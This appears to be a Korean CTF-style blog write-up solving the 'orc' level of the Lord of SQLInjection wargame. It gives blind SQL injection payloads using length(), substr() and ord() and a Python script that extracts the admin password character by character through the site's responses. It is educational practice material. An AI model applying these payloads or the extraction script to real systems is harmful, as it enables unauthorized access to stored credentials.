SMALL
이 문제는 pw를 get으로 받는데 정확하게 pw를 맞추라는 문제이다.
이 문제에서 사용되는 addslashes() 함수는 ' , " , \ 등문자가 포함되어 있다면 그 앞에 \ 를 붙이는 함수이다. 이 함수를 사용하지 않으면 오류가
발생할수 있기 때문에 취약하다. 그리고 stripslashes() 함수는 addslashes() 함수와 짝을 이루어 사용되는 것으로 역할은 addslashes()함수
의 반대이다. 즉, 역슬래시(\)를 떼어내는 함수이다.
<?php
$str = "hi 'dominic'";
$added_str = addslashes($str);
echo("$added_str
");
$stripped_str = stripslashes($added_str);
echo("$stripped_str");
?>
결과는
이 것을 보아 두번째 쿼리에서는 특수문자가 적용되지않는다.
먼저 pw를 맞추기 위해 하나하나씩 알아가야 한다.
첫번째로 한 행동은 바로 length()함수를 이용하여 길이를 알아내는 것이다. 그 이유는 첫번째 조건문을 보아하니 쿼리문을 통해 참이면 "Hello admin" 을 출력하는 것을 볼 수 있기 때문이다.
조건 참일 경우를 이용하여 길이를 하나하나 찾아 주었고 그냥 입력하면 정상적으로 들어가지 않아 # 을 넣어 뒤에를 주석처리를 해주었다.(URL인코딩)
일단 두자리가 넘어가는지 확인하기 위해 숫자 10보다 작은지 보았다.
?pw=1'or length(pw)<10 %23
우선 10보다 작다!
?pw=1'or length(pw)<8 %23
8미만이면 거짓이다! 그렇다는 것은 8을 넘는다는 것으로 유추를 할 수 있다. 즉 8이다.
길이를 알았으니 이제 pw를 직접 알아볼 차례다.
먼저 substr 함수를 이용해 해당 길에 맞는 문자를 점검 해 줄 것이다.
그리고 이 문자의 값을 숫자로 반환해주는 함수가 필요한데 바로! 요 ord()함수이다. 이 함수를 이용해 0~127까지 숫자를 비교해보며 알아갈 수 있다.
?pw=1'or ord(substr(pw,1,1))<63 %23
127의 1/2 로 쪼개어 보니 63 언더이군 하지만.. 너무 노가다성이 짙어서 자동화시키로 하였다.
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} #자신의 쿠키 값을 넣어준다.
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?" #url
for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
for j in range(48, 127): # 작은 반복문 숫자부터 시작함
params = {'pw':"1' or id='admin' and ord(substr(pw," + str(i) + ",1))=" + str(j) + " #"}
r = requests.get(url,params=params,headers=headers)
if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
print(chr(j),end='')
break
클리어!
'Network > LOS' 카테고리의 다른 글
[LOS_6]darkelf (0) | 2019.08.16 |
---|---|
[LOS_5]wolfman (0) | 2019.08.16 |
[LOS_3]goblin (0) | 2019.08.16 |
[LOS_2]cobolt (0) | 2019.08.16 |
[LOS_1]gremlin (0) | 2019.08.16 |